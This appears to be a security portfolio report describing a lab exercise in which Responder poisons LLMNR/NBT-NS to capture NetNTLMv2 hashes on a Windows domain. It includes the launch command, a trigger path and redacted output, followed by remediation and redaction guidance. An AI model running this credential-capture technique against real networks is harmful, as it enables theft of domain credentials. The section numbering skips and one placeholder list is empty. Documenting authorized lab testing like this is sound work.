

ENTERPRISE SECURITY ASSESSMENT LAB

AD NETWORK SECURITY METHODOLOGY REPORT

Phase 2 - LLMNR/NBT-NS poisoning simulation in a controlled AD lab

Report Section	Phase 02 - Responder NTLMv2 Hash Capture
Project Area	Internal Network and Active Directory Security Assessment
Environment	Private Windows AD lab - Kali Linux, Windows Server, Windows endpoint
Prepared For	GitHub Portfolio Documentation
Document Type	Individual methodology PDF with redacted evidence

Authorized lab documentation only. Sensitive credential material, hashes, passwords, and replication output have been redacted before publication.

1. Executive Summary

This report documents **Responder NTLMv2 Hash Capture** as part of the AD Network module in the Enterprise Security Assessment Lab. The section is written as a professional, portfolio-safe methodology report that explains the testing objective, workflow, evidence, tool usage, sanitized output, security risk, remediation guidance, and GitHub publication requirements.

Objective: Capture NetNTLMv2 authentication material from a domain-joined Windows endpoint by simulating local name-resolution poisoning in an authorized lab environment.

MITRE / Framework Mapping	T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Testing Scope	Authorized private Active Directory lab only
Evidence Handling	Screenshots embedded with necessary redaction; raw hashes and secrets are not included

2. Methodology and Workflow

The methodology below is designed to show a controlled penetration-testing workflow rather than random tool execution. Each step supports a specific assessment goal and produces evidence that can be reviewed safely in a public portfolio.

- Start Responder on the correct Kali interface.
- Trigger a Windows client to access a non-existent network name.
- Capture the authentication challenge/response material.
- Do not publish raw hashes; redact before screenshots or reports are uploaded.
- Use the result only inside the authorized lab to demonstrate internal credential exposure risk.

Command / Workflow Used

```
# Start Responder on the lab-facing interface
sudo responder -I <LAB_INTERFACE> -v

# Trigger authentication from a Windows endpoint
\nonexistent-lab-share\test
```

Sanitized Output Style

```
[LLMNR] Poisoned answer sent to <VICTIM_IP>
[SMB] NTLMv2-SSP Client : <VICTIM_HOST>
[SMB] NTLMv2-SSP Username : <DOMAIN>\<USER>
[SMB] NTLMv2-SSP Hash : <REDACTED_NETNTLMV2_HASH>
```

3. Evidence Mapping and Screenshot Explanation

- Disable NBT-NS where operationally possible.
- Enforce SMB signing to reduce relay risk.
- Use strong passwords and block common passwords.
- Monitor for rogue name-resolution responses and unexpected Responder-like traffic.

7. GitHub Redaction and Publication Guidance

- Publish only redacted evidence. Do not upload raw hashes, password material, ticket files, DCSync output, or secretsdump text dumps.
- Keep this report under 03-ad-network/reports/methodology/ and keep raw tool output in a private working folder unless fully sanitized.
- Use placeholders such as , , , and in public documentation.
- Confirm the screenshot file name in the README matches the repository file name exactly, including case, hyphens, and extension.

Do Not Upload

```
*.hash
*_hashes.txt
responder logs with raw NetNTLMv2
kerberoast_hashes.txt
secretsdump output
DCSync dumps
cracked-password files
unredacted BloodHound collection ZIPs if they expose sensitive names
raw command history containing passwords
```

8. Conclusion

The **Responder NTLMv2 Hash Capture** phase demonstrates a structured and evidence-based AD testing workflow. The report explains the purpose of the test, shows sanitized evidence, connects the activity to real-world risk, and provides practical remediation guidance. This makes it suitable for a professional cybersecurity GitHub portfolio.